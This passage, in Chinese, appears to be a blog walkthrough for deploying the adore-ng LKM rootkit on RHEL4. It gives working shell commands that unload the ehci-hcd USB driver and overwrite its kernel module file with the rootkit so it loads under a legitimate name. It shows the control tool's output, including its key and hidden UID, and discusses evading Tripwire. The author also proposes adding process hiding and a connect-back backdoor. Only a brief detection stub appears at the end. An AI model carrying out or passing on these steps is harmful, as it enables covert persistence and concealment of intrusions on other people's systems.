if ($yn =~ /y/i) {
system(“cp z.ko $lkm_path”);
} else {
print “nOutput LKM is z.kon”;
}
我在RHEL4下插入模块后模块都无法启动,不过没关系,我们不插入,我们替换:)
只有十分少数人是安装了系统后modprobe -r的,所以我们可以很容易的替换一些系统不十分需要的模块,我们看看我的模块
[root@RHEL4 adore-ng]# lsmod
Module Size Used by
dm_mod 54741 0
ohci_hcd 21713 0
snd_intel8×0 33769 0
snd_ac97_codec 63889 1 snd_intel8×0
snd_pcm_oss 49017 0
snd_mixer_oss 17985 1 snd_pcm_oss
snd_pcm 96841 2 snd_intel8×0,snd_pcm_oss
snd_timer 29893 1 snd_pcm
snd_page_alloc 9673 2 snd_intel8×0,snd_pcm
snd_mpu401_uart 8769 1 snd_intel8×0
snd_rawmidi 26597 1 snd_mpu401_uart
snd_seq_device 8137 1 snd_rawmidi
snd 54949 9
snd_intel8×0,snd_ac97_codec,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_timer,snd_mpu401_uart,snd_rawmidi,snd_seq_device
soundcore 9889 1 snd
sis900 18756 0
ext3 116809 1
jbd 71257 1 ext3
我们选一个 Used By是0而且不怎么用的模块,比如usb的驱动,呵呵
ehci_hcd刚才已经被我用了,所以这里看不到,我们还可以用ohci_hcd或者是声卡的模块。
看看他在哪
[root@RHEL4 adore-ng]# modprobe -l | grep ehci
/lib/modules/2.6.9-5.EL/kernel/drivers/usb/host/ehci-hcd.ko
卸了他
[root@RHEL4 adore-ng]# modprobe -r ehci-hcd
替换他
[root@RHEL4 adore-ng]# cp adore-ng-2.6.ko /lib/modules/2.6.9-5.EL/kernel/drivers/usb/host/ehci-hcd.ko
加载他
[root@RHEL4 adore-ng]# modprobe ehci-hcd
检查他
[root@RHEL4 adore-ng]# ./ava I
Checking for adore 0.12 or higher …
Adore 1.54 installed. Good luck.
ELITE_UID: 2648745389, ELITE_GID=1768621983, ADORE_KEY=djksdfnvn CURRENT_ADORE=54
纰漏:
如果对方使用了tripwire(RHEL4默认安装了),那么对ehci-hcd.ko的替换就很容易暴露,不过也没办法,就算relink模块一样是会暴露的,呵呵
疑问:
1、Hidden ports (adore-ng.h) go decimal, i.e. ‘2222′ hides everything which belongs to port
2222.
这句话我理解是,同时隐藏和2222端口有关系的进程,呵呵,可能我对他的everything理解错了吧 :)
[root@RHEL4 ~]# nc -vvnlp 2222
listening on [any] 2222 …
[root@RHEL4 adore-ng]# ps aux | grep 2222
root 1938 0.0 0.1 1724 496 pts/1 S+ 13:34 0:00 nc -vvnlp 2222
root 1941 0.0 0.1 5304 684 pts/0 S+ 13:36 0:00 grep 2222
2、[root@RHEL4 adore-ng]# grep full-capability FEATURES
o full-capability back door
这个有点忽悠人,这个backdoor分明就是一个localroot,我个人觉得localroot不叫backdoor
[root@RHEL4 adore-ng]# ./ava | grep root
r execute as root
估计就是这个。
改进:
1、根据进程名隐藏特定进程,这样我们就灵活很多了,有了这个功能,我们可以弥补adore在后门方面的缺陷,结合一些bindport或者connect back的后门使用
,否则系统进都进不去了,隐藏不隐藏对我们来说没意义了啊,现在只根据pid隐藏,一旦reboot了之后,pid肯定变了。。。
2、加一个端口复用或回连的后门功能吧。。。。类似sk那样的。
检测:
1、官方给出的检查工具
[root@RHEL4 determine]# ./determine
deter-mine LKM rootkit detector. (C) 2004 Stealth